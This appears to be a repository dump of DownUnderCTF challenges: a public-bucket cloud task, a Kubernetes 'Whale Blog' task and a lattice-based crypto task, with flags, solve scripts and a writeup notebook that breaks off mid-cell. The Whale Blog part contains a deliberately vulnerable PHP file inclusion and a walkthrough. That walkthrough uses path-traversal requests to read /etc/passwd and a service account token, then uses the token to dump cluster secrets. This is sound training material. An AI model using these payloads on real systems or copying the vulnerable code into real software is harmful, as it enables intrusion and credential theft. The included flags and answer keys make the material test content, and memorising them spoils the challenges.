================================================
FILE: cloud/notasbadbucket/src/pics/flag.txt
================================================
DUCTF{all_AUTHENTICATED_users_means_ALL_AUTHENTICATED_USERS_silly}

================================================
FILE: cloud/notasbadbucket/terraform/.gitignore
================================================
.terraform
.terraform.lock.hcl
terraform.tfstate
terraform.tfstate.backup

================================================
FILE: cloud/notasbadbucket/terraform/terraform.tf
================================================
provider "google" {
  project = var.project_id
  region  = "australia-southeast1"
  zone    = "australia-southeast1-b"
}

resource "google_storage_bucket" "bucket-bucket" {
  name          = var.bucket_name
  location      = "AUSTRALIA-SOUTHEAST1"
  force_destroy = true
  uniform_bucket_level_access = false
  website {
    main_page_suffix = "index.html"
  }
} 

data "google_iam_policy" "viewer" {
  binding {
    role = "roles/storage.objectViewer"
    members = [
      "allAuthenticatedUsers",
    ]
  }
}

resource "google_storage_bucket_iam_policy" "policy" {
  bucket = google_storage_bucket.bucket-bucket.name
  policy_data = data.google_iam_policy.viewer.policy_data
}

resource "google_storage_bucket_object" "object1" {
  name   = "pics/lisa.jpg"
  source = "../src/pics/lisa.jpg"
  bucket = google_storage_bucket.bucket-bucket.name
  depends_on = [google_storage_bucket.bucket-bucket]
}


resource "google_storage_bucket_object" "object_html" {
  name   = "index.html"
  source = "../src/index.html"
  bucket = google_storage_bucket.bucket-bucket.name
  depends_on = [google_storage_bucket.bucket-bucket]
}

resource "google_storage_bucket_object" "object_flag" {
  name   = "pics/flag.txt"
  source = "../src/pics/flag.txt"
  bucket = google_storage_bucket.bucket-bucket.name
  depends_on = [google_storage_bucket.bucket-bucket]
}

================================================
FILE: cloud/notasbadbucket/terraform/terraform.tfvars
================================================
project_id = "ductf-not-as-bad-bucket" # Update: Desired project name.

bucket_name = "ductf-not-as-bad-ductf" 


================================================
FILE: cloud/notasbadbucket/terraform/variables.tf
================================================
variable "project_id" {
  description = "GCP Project id"
  type        = string
}

variable "bucket_name" {
  description = "Name of the bucket"
  type        = string
}

================================================
FILE: cloud/whale_blog/README.md
================================================
# Whale Blog

**Creator:** Blue Alder

**Category:** cloud

**Difficulty:** medium

## Flavortext

You're probably thinking, oh wow here is another challenge author thinking they would be smart by having the word `whale` in the challenge title, oh wow it's probably Docker. Well you're right whale=docker this challenge has to do with docker. Get that flag⛳.

whale-blog.duc.tf

## Quick Overview of exploit
LFI in the main page on a kubernetes deployment means they can get service account token. Use token to read secrets on the Kube cluster by connecting to it directly.

Flag: DUCTF{g00nies_got_th1s_l4st_year_now_u_did!}

================================================
FILE: cloud/whale_blog/challenge.yml
================================================
version: "0.1"
id: whale-blog
name: Whale Blog
category: cloud
description: >
  You're probably thinking, oh wow here is another challenge author thinking they would be smart by having the word whale in the challenge title, oh wow it's probably Docker. Well you're right whale=docker this challenge has to do with docker. Get that flag ⛳.


  Author: Blue Alder

connection_info: http://whale-blog.duc.tf:30000

tags:
  - medium

flags:
  - DUCTF{g00nies_got_th1s_l4st_year_now_u_did!}


================================================
FILE: cloud/whale_blog/setup.sh
================================================
#!/bin/bash

# Run this script to set up the challenge, update the below variables to what you like

PROJECT_NAME=cloudsupporthacks
CLUSTER_NAME=very-secure5
CONTAINER_NAME=lfi
ZONE=australia-southeast1-b
SERVICE_ACCOUNT_NAME=useless-account

gcloud config set project ${PROJECT_NAME}

# docker build -t gcr.io/${PROJECT_NAME}/lfi:latest .

# Need to enable, compute, gke, iam, build, 
gcloud services enable cloudbuild.googleapis.com compute.googleapis.com container.googleapis.com containerregistry.googleapis.com iam.googleapis.com

# Create, build and push the Vulnerable LFI container
gcloud builds submit --tag=gcr.io/${PROJECT_NAME}/${CONTAINER_NAME}:latest src/          

# Create useless service account that the nodes will runas
gcloud iam service-accounts create ${SERVICE_ACCOUNT_NAME} --description="Useless account to protect from takeovers"

# Create the cluster with 1 node in the one zone
gcloud container clusters create ${CLUSTER_NAME} --num-nodes=1 --zone australia-southeast1-b --service-account ${SERVICE_ACCOUNT_NAME}@${PROJECT_NAME}.iam.gserviceaccount.com

# Load credentials for the cluster into kubectl
gcloud container clusters get-credentials ${CLUSTER_NAME} --zone australia-southeast1-b

# Format the config file with the project name and container name
cp src/config.yaml src/config-formatted.yaml
sed -i "s/{{PROJECT_NAME}}/${PROJECT_NAME}/g" src/config-formatted.yaml
sed -i "s/{{CONTAINER_NAME}}/${CONTAINER_NAME}/g" src/config-formatted.yaml

# Apply the config and deploy the workload
kubectl apply -f src/config-formatted.yaml

# Delete created config.yaml file
rm src/config-formatted.yaml

# Apply permission updates and store the secret flag
kubectl apply -f src/permission.yaml

# Enable Traffic to port 30000 on the nodes.
gcloud compute firewall-rules create test-node-port --allow tcp:30000

# Output the Node IP 
kubectl get nodes --output wide  

external_ip=$(kubectl get nodes --output jsonpath="{.items[0].status.addresses[1].address}")

echo "Access the challenge at: http://${external_ip}:30000"

cluster_external_ip=$(gcloud container clusters describe ${CLUSTER_NAME} --zone ${ZONE} --format='get(endpoint)')

echo "Cluster External API located at https://${cluster_external_ip}"

================================================
FILE: cloud/whale_blog/solution.md
================================================
# Whale Blog

!NOTE Some of these IP addresses/domains may be different to the ones used in the actual CTF.

This was a kubernetes challenge! As hinted by the whale. So we are given an entry point URL of http://whale-blog.duc.tf:30000/

We get a simple page with a Whale video on it, epic. If we view the source we see a reference comment thats says:

`I wonder if we will deploy this at whale-blog.duc.tf or at whale-endpoint.duc.tf`

Since the endpoint we have is whale-blog.duc.tf we can check out what the other url points to.

when we try and access through the browser we get a certificate error however if we ignore tls errors through curl with 

`curl https://whale-endpoint.duc.tf/ -k` 

We get 

```json
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {

  },
  "status": "Failure",
  "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
  "reason": "Forbidden",
  "details": {

  },
  "code": 403
}
```

In the response. If we google this error message we can see that it is the Kubernetes API, however since we are anonymous we will not be able to do anything. Let's leave this for now.

If we click the link below the video nothing seems to happen but our url changes to http://whale-blog.duc.tf:30000/?page=page1. So it seems like it is expecting something in the `page` parameter, if we check the source again we can see that the comment at the top of the webpage changes depending on what we put in the `page` parameter.

Let's see if we can change this to something arbitrary to see if this page is including this file in the page. Navigating to http://whale-blog.duc.tf:30000/?page=../../../../../../etc/passwd we get the output of the `passwd` file as a comment on the HTML page. Awesome so we have a full Local File Inclusion (LFI) and we can read any file on the server.

So given that the other IP address was the Kubernetes API we can make an educated guess that this web app is running on Kubernetes.

Researching common exploits with kubernetes when you have an LFI is to read the Kubernetes Service account token that is automounted in the pod unless explicity told not too. Let's try and read that, it is located at `/var/run/secrets/kubernetes.io/serviceaccount/token`.

So navigating to `http://whale-blog.duc.tf:30000/?page=../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token` and bingo, the output contains the base64 encoded token!

`eyJhbGciOiJSUzI1NiIsImtpZCI6InVjU19kOWZzMnFvZUkxWmZuNnZRdUEtcHctUktQSHJvN010LTZFVF94NncifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tdHo3dnAiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjQ3YTlhOTk4LTBlZjAtNDE5Mi1iNTgwLTVjZWEzNzZkNjEyZSIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.nt5LO_dP556wtYCocTkegY2_hm-uTMo-2VJ2NIFqzu7k-plYN5FfOwriCNpH9AYIg_LCykZnTErs5eQCf01Ms0ybSuvzch41XiSfQwyKgVGdC-xooiqvPf0oUg1TjeaiLqyypvwDURxOS_9Hw5wG-3ew0LCNt7VTfU0sRA0B0Zx3rHCgeEBuJCAxgbmXr0FV-aUJ_w1GF0ovWNbd_l0naP4SVb5m9_wx1KabOIeFIf3gLoubEW_e6S9t2bYPuPy4uNZXDV5V4rs79rEEAfs85IQE5-Ue46PitpnEo5sWu870X4F3Q405HtyNQISUUP_tc1zFRgZ-bV-Dpf9kAPY_IQ`

Let's go ahead and download this and see what this service account can do. For this we will need the `kubectl` binary to interact with the Kubernetes API and see what we can do. Note in the following commands I have saved the above token in a file called `token` and I am specifing the server that is the Kubernetes API.

So let's see what this Service account can do by using the `can-i` command in kubectl

`kubectl --token=$(cat token) --server=https://whale-endpoint.duc.tf/ auth can-i --list`

```
Resources                                       Non-Resource URLs   Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]
secrets                                         []                  []               [get list]
                                                [/api/*]            []               [get]
                                                [/api]              []               [get]
                                                [/apis/*]           []               [get]
                                                [/apis]             []               [get]
                                                [/healthz]          []               [get]
                                                [/healthz]          []               [get]
                                                [/livez]            []               [get]
                                                [/livez]            []               [get]
                                                [/openapi/*]        []               [get]
                                                [/openapi]          []               [get]
                                                [/readyz]           []               [get]
                                                [/readyz]           []               [get]
                                                [/version/]         []               [get]
                                                [/version/]         []               [get]
                                                [/version]          []               [get]
                                                [/version]          []               [get]
```

Wow so it looks like we can `get` and `list` secrets in the default namespace, lets go ahead and list the secrets.


`kubectl --token=$(cat token) --server=https://whale-endpoint.duc.tf/ get secrets`

```
default-token-tz7vp   kubernetes.io/service-account-token   3      8d
nooooo-dont-read-me   Opaque                                1      8d
```

Looks like we are on here, lets go ahead and read the `nooooo-dont-read-me` secret

`kubectl --token=$(cat token) --server=https://whale-endpoint.duc.tf/ get secrets nooooo-dont-read-me -o json`

```json
{
    "apiVersion": "v1",
    "data": {
        "so-secret-though": "RFVDVEZ7ZzAwbmllc19nb3RfdGgxc19sNHN0X3llYXJfbm93X3VfZGlkIX0K"
    },
    "kind": "Secret",
    <snip>
}
```

Theres a base64 encoded secret, simply decoding it gives us the flag!

`DUCTF{g00nies_got_th1s_l4st_year_now_u_did!}`

================================================
FILE: cloud/whale_blog/src/Dockerfile
================================================
FROM php:apache


# Copy website
RUN rm -rf /var/www/html/*
ADD web/* /var/www/html/



================================================
FILE: cloud/whale_blog/src/config.yaml
================================================
apiVersion: apps/v1
kind: Deployment
metadata:
  name: {{CONTAINER_NAME}} # REPLACE challenge-name and challenge-category to your challenges's name and category
spec:
  replicas: 1
  selector:
    matchLabels:
      app: {{CONTAINER_NAME}}
  template:
    metadata:
      labels:
        app: {{CONTAINER_NAME}}
    spec:
      enableServiceLinks: false
      containers:
      - name: {{CONTAINER_NAME}}
        image: gcr.io/{{PROJECT_NAME}}/{{CONTAINER_NAME}}:latest # Set this URL to your challenge container's image
        resources: # Resource limits for the container. These are important, in case people manage to max out CPU/RAM on your challenge
          limits:
            cpu: 100m
            memory: 150Mi
          requests:
            cpu: 10m
            memory: 30Mi
        ports: # Port exposed by the container, you can add multiple
        - containerPort: 80
          name: port-80
---
apiVersion: v1
kind: Service
metadata: # Set the challenge-name/challenge-category SAME as the deployment, otherwise they won't link to each other
  name: {{CONTAINER_NAME}}
  labels:
    challenge: {{CONTAINER_NAME}}
spec:
  type: NodePort
  selector:
    app: {{CONTAINER_NAME}}
  ports:
  - port: 80 # The port exposed by the container
    name: port-80
    targetPort: 80 # The port exposed by the container
    nodePort: 30000 # The port that is exposed on each Node on the cluster


================================================
FILE: cloud/whale_blog/src/permission.yaml
================================================
# This is to set up the RBAC for accessing secrets as the default service account in the default namespace.

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  creationTimestamp: null
  name: lol-role
rules:
- apiGroups:
  - ""
  resources:
  - secrets
  verbs:
  - get
  - list
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  creationTimestamp: null
  name: lol-test
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: lol-role
subjects:
- kind: ServiceAccount
  name: default

---
apiVersion: v1
kind: Secret
metadata:
  name: nooooo-dont-read-me
type: Opaque
data:
  # Base 64 encoded flag
  so-secret-though: RFVDVEZ7ZzAwbmllc19nb3RfdGgxc19sNHN0X3llYXJfbm93X3VfZGlkIX0K

================================================
FILE: cloud/whale_blog/src/web/index.php
================================================
<!-- <?php
      // Simple LFI here, not meant to be a major blocker to the challenge
      $file = $_GET["page"];
      if (!empty($file)) {
        echo "<pre>";
        echo file_get_contents('./'.$file);
        echo "</pre>";
      }

      ?> -->

<html>

<head>
  <title>Whale Blog</title>
  <!-- Dev Notes #1
      I wonder if we will deploy this at whale-blog.duc.tf or at whale-endpoint.duc.tf

    DDDDDDDDDDDDD             OOOOOOOOO             CCCCCCCCCCCCCKKKKKKKKK    KKKKKKKEEEEEEEEEEEEEEEEEEEEEERRRRRRRRRRRRRRRRR   
    D::::::::::::DDD        OO:::::::::OO        CCC::::::::::::CK:::::::K    K:::::KE::::::::::::::::::::ER::::::::::::::::R  
    D:::::::::::::::DD    OO:::::::::::::OO    CC:::::::::::::::CK:::::::K    K:::::KE::::::::::::::::::::ER::::::RRRRRR:::::R 
    DDD:::::DDDDD:::::D  O:::::::OOO:::::::O  C:::::CCCCCCCC::::CK:::::::K   K::::::KEE::::::EEEEEEEEE::::ERR:::::R     R:::::R
      D:::::D    D:::::D O::::::O   O::::::O C:::::C       CCCCCCKK::::::K  K:::::KKK  E:::::E       EEEEEE  R::::R     R:::::R
      D:::::D     D:::::DO:::::O     O:::::OC:::::C                K:::::K K:::::K     E:::::E               R::::R     R:::::R
      D:::::D     D:::::DO:::::O     O:::::OC:::::C                K::::::K:::::K      E::::::EEEEEEEEEE     R::::RRRRRR:::::R 
      D:::::D     D:::::DO:::::O     O:::::OC:::::C                K:::::::::::K       E:::::::::::::::E     R:::::::::::::RR  
      D:::::D     D:::::DO:::::O     O:::::OC:::::C                K:::::::::::K       E:::::::::::::::E     R::::RRRRRR:::::R 
      D:::::D     D:::::DO:::::O     O:::::OC:::::C                K::::::K:::::K      E::::::EEEEEEEEEE     R::::R     R:::::R
      D:::::D     D:::::DO:::::O     O:::::OC:::::C                K:::::K K:::::K     E:::::E               R::::R     R:::::R
      D:::::D    D:::::D O::::::O   O::::::O C:::::C       CCCCCCKK::::::K  K:::::KKK  E:::::E       EEEEEE  R::::R     R:::::R
    DDD:::::DDDDD:::::D  O:::::::OOO:::::::O  C:::::CCCCCCCC::::CK:::::::K   K::::::KEE::::::EEEEEEEE:::::ERR:::::R     R:::::R
    D:::::::::::::::DD    OO:::::::::::::OO    CC:::::::::::::::CK:::::::K    K:::::KE::::::::::::::::::::ER::::::R     R:::::R
    D::::::::::::DDD        OO:::::::::OO        CCC::::::::::::CK:::::::K    K:::::KE::::::::::::::::::::ER::::::R     R:::::R
    DDDDDDDDDDDDD             OOOOOOOOO             CCCCCCCCCCCCCKKKKKKKKK    KKKKKKKEEEEEEEEEEEEEEEEEEEEEERRRRRRRR     RRRRRRR or is it?
-->
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-BmbxuPwQa2lc/FVzBcNJ7UAyJxM6wuqIj61tLrc4wSX0szH/Ev+nYRRuWlolflfl" crossorigin="anonymous">
  <style>
    body {
      background-image: url('whale.jpg');
    }

    .content {
      background: rgba(256, 256, 256, 0.7);
      padding: 10px;
      margin-top: 50px;
    }
  </style>

</head>

<body>
  <div class="container">
    <div class="row justify-content-center content">
      <h1>My story about whaless</h1>
      <iframe width="560" height="315" src="https://www.youtube.com/embed/xFPoIU5iiYQ" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
      <p>
        I hope you the story about whales, one of my friends was all like, "GEEE k eeeeeeh" it was okay,
      </p>


      <h3>Whales a story.</h3>
      <p>
        Whales are cool, they exist and they are pretty big. Some of them are bigger than other whales. Some of the whales swim in the water. Actually I think most of the whales swim in the water. Water is a medium of which whales can swim through. Water is made up of 2 Parts Oxygen and 1 Part Hydrogen. Whales like this because they can swim in and it is where we live.
      </p>

      <p>
        As for my second point, whales come in all shapes and sizes. They also do this thing where they swim to the top of the water (in the ocean usually) and then do a big jump at the top where they move from the water into the air. Air is made out of gas and does not have water on it. Because of this the whales realise that they cannot stay above the water for long because they must live in water so they drop back into the water. This is also due to gravity. Gravity is the force the pushes whales to the ground.
      </p>

      <p>
        Whales also have a big hole on top of their body. The hole is called their "Whale Hole" when the whale has a lot of water in their body they must get rid of it. They do this by doing a big spurt and lots of water comes out. This is because they can't have too much water in their body because they are already surrounded by water.
      </p>

      <p>
        In conclusion, I think that whales are cool and great and they do cool stuff. Sometimes they exists and sometimes they don't and thats okay. Because if whales are real. Then so are we.
      </p>

      <p>
        Kind Regards,
      </p>
      <p>
        Whale
      </p>

      <h2>Some Blog Links</h2>
      <ul>
        <li><a href="?page=page1">Blog 1</a></li>
        <li><a href="?page=page2">Blog 2</a></li>
      </ul>
    </div>

  </div>

</body>

</html>

================================================
FILE: cloud/whale_blog/src/web/page1
================================================
Try Harder!


================================================
FILE: cloud/whale_blog/src/web/page2
================================================
Hello World!


================================================
FILE: crypto/1337crypt-v2/README.md
================================================
# 1337crypt v2

**Category:** crypto

**Difficulty:** hard

**Author:** joseph#8210

[1337crypt](https://github.com/DownUnderCTF/Challenges_2020_public/tree/master/crypto/1337crypt) is back. This time, with added _complexity_.


**Attached files:**
- ./challenge/1337crypt-v2.sage (sha256: 03cf9f5ef200873da1a459d03f63e2bd3d797086b5c14eb15ae874a5a0157fcd)
- ./challenge/output.txt (sha256: 4bb4c75c4f874a355c09cc1a21393723af7a7bb5703f03c7b256ae2eb8e020f3)


================================================
FILE: crypto/1337crypt-v2/challenge/1337crypt-v2.sage
================================================
from Crypto.Util.number import getPrime, bytes_to_long

flag = open('flag.txt', 'rb').read().strip()

p, q = getPrime(1337), getPrime(1337)
n = p*q

K.<z> = NumberField((x-p)^2 + q^2)
hint1 = p^2 + q^2
hint2 = []

l = 1+337
for _ in range(1*3*3-7):
    a, b = getrandbits(1337), getrandbits(1337)
    x = K(a + getrandbits(l)/2^l) + K(b + getrandbits(l)/2^l)*z
    y = x*x.conjugate()
    hint2.append((int(y), a, b))

Zn.<I> = (ZZ.quo(n*ZZ))[]
ZnI.<I> = Zn.quo(I^2 + 1)

m = randrange(1, n) + bytes_to_long(flag) * I
c = pow(m, 0x1337)

print(f'hint1 = {hint1}', f'hint2 = {hint2}', f'c = {c}', sep='\n')


================================================
FILE: crypto/1337crypt-v2/challenge/flag.txt
================================================
DUCTF{mantissa_in_crypto??_n0_th4nks!!}


================================================
FILE: crypto/1337crypt-v2/challenge/output.txt
================================================
hint1 = 9474114456792673515431877947943819508105969635542281515830563486137327168661333703401850605206493227243522275742966516648683239582868203596838274343178793480973891177607186024817920580636526398124249438530268326706106084200991464054888550590630591134888356623254262308517945404542523082470069480353068223694311508861801523183513245279545596528410382012946385366699431483305340128165852371328697376926968446708099825429442186214124021086080153564030893750081986851543881131351556953787562383902563532279388285764786107301410609469955447888060120474186646198067390958666731078269768973485409216649415321100676385488676994332545669638759522053210552702128133338413305324201806761866164474398103381334477039479224259925086453057512169480806903881772813089475880157326511289464083589335128877565750510634618850
hint2 = [(732546382458694012527789828012658378094702844241795401426843533262220812770028735455197287163119092985574791815396084039371039996745646333674579318749988785972110472195404257454757344814442424493794011566431937242360848878285030166984149693743077380791443878087350475749876855340312637158554338528312647367781264029940556029591883509296327157870585105957528288777977912893801651347425601258985587330670953298765350018187069720989197539655266126608555068568433785671130844623376557756307700624321155540004939237651224429899583558320317618753120682478549822994855115229255313084828494729871333964260804633974731539710591594817406548163223896591957023800247556355776277803866504762994363248426088927388107745396346246364269053285330511504658050763844166012473791572894552857353549047649195624795947489180260979461063462063828112399114859364813704521025921163040319096254633472956309716047137099678802685979113668885601296025318218875502044310139823328365450929054463143898168438742821823709383772324178942782797995009228644990630313338092741812684409459706859981433655900653533420603781201785114071059836464490109704785152549161122683211537057829631974746267465106271003835623120675868336217957493577419646574917016786960763971105924313670864643113152080247596101761667919974877317059734430884155146853783807463171001928603696124835265895296591581488900411484570933812177545618929573489183920330986109459899431831015221573294655414274883012371358092609067769905057144741729285256290725546405447624734438623235233946301969480294721959115680856021696640872884026385162811995627855934793386619910476937700613082779, 1543824598221623810544208805328287421613768036151947874139391287620165680044273642997713684429385602196228549596953402195253771549624806908757244012787647676921740972118119690619160814867773301029620094485726996907379061963500831983371578370700427374066341469843386724329442101058337650126328673673103875588454070821764869582749550357448526278027673495765146251605639297850930361919443005623694632013303, 278066231056905142305104802223227529510107823582373063981133703297010715328189269872672545717708004188569473458656648620603642909190690880317856689557616399347538953740829444695466029704435732263108744727780955070759083273384356847390585190707938226562580173928509689922077486197504519480359398971760153208230160873276281036727480009843280457680277644007154868247812957266590582948212002647347579597965), (2403931462615300014912573083791207269120927941165936946270714147348589275302782927254153349406751900409737005652653965419293500156635383418370534229776798159799544655491444625223239629070116271649566531509751492007287556686610922243146922720689240769956444136141045389983487722510967341333296316124861289680453311483583713394680884118860739515747245777714794715741583447733115461680095467478792575220154609730018111981467052398055564596522296491712770565301016865613056558617018826541540034369006769600336871572325043701351770219492587170369815095344397680717819930616599208355365092147396589419063661351495695927808384696467907751578957796331366383391221037004742878990846671674314297157060496951084267550785175020195260374151822097301166545332365173007130667658669023236685137146454027881996654859397883138679620794416770836903293285267689375186032800923071081877797299448490161970114063577601307797826188431113415671273120884557490666872780316977507218882738147619244927641770516473541881268874031321080906148751514801419469523784406736104695838521768957591700470012632981881278541917424550592192054960270762406248837436552253011562745897713476468254217503340327771690937113342506707740878371307784138197357653258554320947445665637325825934844545591362876466794093523698691499245458580590045390833227060694376995243735824822120025136206595444317852707366827787780703456414342309744435791623414331744392284997640092463157849832124166944965921884701468913065315740226664124591175781629426506057267248659303310396227692666112080517619152746622372541984530565220811971391954114052398015660212010257113648848847, 1095271776133890944180744243712910546278746562392568011876271303881431329832093376635925871119446466987231888845639447279594831752278087660346437418402997861987783151298417098367490883057794520011454228160352569059415183920272078930149476192223454197039306461996527833603604938471295363667754643414137116188016150205603690898270274189826416464265752825558069478170856048769787582750749123139364050774900, 503722937364073120219172142862403799517933100630972300242952550817433776953552478694914014362767990852845981728951892566080540126804572527879551832311854342967959495035585119889481210539549990451963720802920003582648892828543694739151645941765335597098334960962085798952240875279321239403245884262371088975882015803767312665173035156867269826854927631774910426072984288933637519024572470691768302645082)]
c = 605102888419960227209554020321928680123927287488855374705023014664876415212834812004489811277243459845970579234661036307883657755039678491432326372452841243321229852171896023071850921050801342321482817352489245753590859528134913389224781053767643398051814697896895555141791201522215484812840325201515942495422062613986130075684389632368804195932004897586630630338128732739336582396560286087433253207646470438321442025408149861408487622053608073870706373371068091196032798889074109310838175523351596714632562756238346928415386196418507587810202943766172435188745498284802679701385932344117910084137055452834777639122479568560833213921960536746001563295384313906616645378042076612734674897406388665158992742560848871345048141300064428115232029157294890916882227084289355920878535418217759491272196240289158*I + 4029058763453606238903897463441562834907249422434463474076515876575829847522130192389016587404930865750330557087612323698180248796377295462524538856886086398759909290696184205993616487194215215220788562122976961077906744617472657126002125275580071372330371116294688544107523683271239033324714979085342248973341926663953843846046960739886947485863993625451601367382937578510847100654709310703410238862000749364014455073705910890023184023421059288913438268024784676942709153616462894290327611033397199003399769315399282676125251796552761022560343255167268538619398474794249565056809687349530329863724341722260050648912909130315084736439621962322946883555665867960336853966064629555225967168666632969614488585135849531033105444785970372310095381763641123031809302021416125564151419362313796375570121725315170


================================================
FILE: crypto/1337crypt-v2/challenge.yml
================================================
version: "0.1"
id: 1337crypt-v2
name: 1337crypt v2
category: crypto
description: |
  [1337crypt](https://github.com/DownUnderCTF/Challenges_2020_public/tree/master/crypto/1337crypt) is back. This time, with added _complexity_.

  Author: joseph#8210

tags:
  - hard

files:
  - ./challenge/1337crypt-v2.sage
  - ./challenge/output.txt

flags:
  - DUCTF{mantissa_in_crypto??_n0_th4nks!!}


================================================
FILE: crypto/1337crypt-v2/solve/solve.sage
================================================
from Crypto.Util.number import long_to_bytes

exec(open('../challenge/output.txt').read()) # hint1, hint2, c

nbits = 1337
l = 1+337
dd = 2^-l
D = hint1

t1, t2 = [int(b^2 * D - y)//int(2*a*b) for y, a, b in hint2]
s1, s2 = [int(dd*D)//a for _, a, b in hint2]

M = Matrix([
    [s1, 1, 0],
    [s2, 0, 1],
    [t1 - t2, 0, 0]
])
B = M.LLL()
d = abs(B[0][1])
y, a, b = hint2[0]
my_p = int(y - (b^2 + 2*dd*b*d)*D)//int(2*a*b)

for p in range(my_p - 2^8, my_p + 2^8):
    if ZZ(D - p^2).is_square():
        q = ZZ(D - p^2).sqrt()
        print('[+] primes recovered!', p, q)
        break

n = p*q
Zn.<I> = (ZZ.quo(n*ZZ))[]
ZnI.<I> = Zn.quo(I^2 + 1)
c = ZnI(c)

d = pow(0x1337, -1, (p-1)*(q-1))
m = pow(c, int(d))

flag = long_to_bytes(list(m)[1])
print('[*] flag:', flag.decode())


================================================
FILE: crypto/1337crypt-v2/solve/writeup.ipynb
================================================
{
 "cells": [
  {
   "cell_type": "markdown",
   "id": "3ebec137",
   "metadata": {},
   "source": [
    "# Challenge Overview\n",
    "\n",
    "The challenge claims to be a more complex version of [1337crypt](https://jsur.in/posts/2020-09-20-downunderctf-2020-writeups#1337crypt) from last year's DUCTF. Reading the solution for 1337crypt may help a bit with some initial ideas as both challenges play with the idea of partial knowledge. In both challenges, we are given hints to recover the prime factors, but the hints themselves seem to omit some bits of information. Specifically, the hints are the integer parts of some values that should actually contain a fractional part as well. As we will see (and as you may suspect :)), lattice techniques will help us to recover this missing information and therefore the primes.\n",
    "\n",
    "## Flag Encryption\n",
    "\n",
    "We start by looking at how the flag is encrypted so that we have a clear idea of what we need to recover it. The flag is encrypted in a way very similar to RSA. The only difference is that instead of using integers, we use [Gaussian integers](https://en.wikipedia.org/wiki/Gaussian_integer). If you aren't familiar with Gaussian integers, I highly recommend reading [this excellent blog post](https://blog.cryptohack.org/tetctf-2021) by CryptoHack for some extra background.\n",
    "\n",
    "We work in the ring $(\\mathbb{Z}/n\\mathbb{Z})[i]$ (we will just write this as $\\mathbb{Z}_n[i]$) where $n = pq$ is the RSA modulus. The flag is encoded as an element $m$, of $\\mathbb{Z}_n[i]$ by choosing a random integer $r < n$ and computing $m = r + \\mathrm{flag} \\cdot i$.\n",
    "\n",
    "The ciphertext is obtained by raising $m$ to the $e$th power. In the challenge, $e$ is 0x1337.\n",
    "\n",
    "To decrypt the ciphertext, we must find the multiplicative inverse of $e$ modulo the order of $\\mathbb{Z}_n[i]$. (Note: in this context, when we say \"the order of $\\mathbb{Z}_n[i]$\" we mean the cardinality of the multiplicative group of $\\mathbb{Z}_n[i]$) The order of $\\mathbb{Z}_n[i]$ is $\\varphi(n) = (p-1)(q-1)$, so to compute it, we'll need to recover the primes.\n",
    "\n",
    "## Hints\n",
    "\n",
    "The challenge generates 1337-bit primes $p$ and $q$ and gives us two hints, and the ciphertext. Using these hints, we need to recover $p$ and $q$.\n",
    "\n",
    "### Hint 1\n",
    "\n",
    "The first hint, which we will call $D$, is $D = p^2 + q^2$. This seems like a pretty big hint, and indeed if we were also given $n = pq$ we could easily recover the primes by finding the roots of a simple univariate polynomial. As far as I am aware, $D$ can't be used to directly recover $p$ and $q$ either; there are techniques such as factoring $p^2 + q^2 = (p + qi)(p - qi)$ over the Gaussian integers, but this requires factoring $D$ over the integers which may take a long time. That said, if you were able to find a solution using this hint alone I'd be interested in seeing it :)\n",
    "\n",
    "### Hint 2\n",
    "\n",
    "There is a lot more going on in the second hint. But firstly, some background. [Number field](https://en.wikipedia.org/wiki/Algebraic_number_field) is just a fancy name for an (finite) extension of the rational numbers $\\mathbb{Q}$. The simplest number field is $\\mathbb{Q}$ itself, and the rational complex numbers, $\\mathbb{Q}(i)$ is also a number field.\n",
    "\n",
    "We can see that a number field is constructed from $p$ and $q$. In Sage, the first argument to [NumberField](https://doc.sagemath.org/html/en/reference/number_fields/sage/rings/number_field/number_field.html#sage.rings.number_field.number_field.NumberField) is the defining polynomial. The roots of this polynomial specify the elements to be adjoined to $\\mathbb{Q}$ to get the number field. We see that the defining polynomial for $K$ is $(x-p)^2 + q^2$, which has roots $p \\pm qi$. Therefore, we define\n",
    "\n",
    "$$\n",
    "K = \\mathbb{Q}(p + qi)\n",
    "$$\n",
    "\n",
    "(side note: we only need to adjoin one root since the other, it's conjugate, can be obtained from the root with usual field operations). In the handout code, $z = p + qi$ denotes this adjoined element.\n",
    "\n",
    "Now, for the values we are given. We get two instances of values with the same form. For the $j$th hint ($j = 1, 2$), two 1337-bit numbers $a_j$ and $b_j$ are generated, as well as two $l$-bit numbers $c_j$ and $d_j$. Then, $x_j$ is computed as\n",
    "\n",
    "$$\n",
    "x_j = (a_j + 2^{-l} c_j) + (b_j + 2^{-l} d_j) z\n",
    "$$\n",
    "\n",
    "Lastly,\n",
    "\n",
    "$$\n",
    "|x_j|^2 = x_j \\overline{x_j}\n",
    "$$\n",
    "\n",
    "is computed and we are given the three values $(\\lfloor |x_j|^2 \\rfloor, a_j, b_j)$. Note that $\\overline{x_j}$ denotes the complex conjugate of $x_j$, so the value $x_j \\overline{x_j}$ gives us the squared [complex modulus](https://en.wikipedia.org/wiki/Absolute_value#Complex_numbers) of $x_j$. For ease of reading, we will write $y$ instead of $\\lfloor |x_j|^2 \\rfloor$.\n",
    "\n",
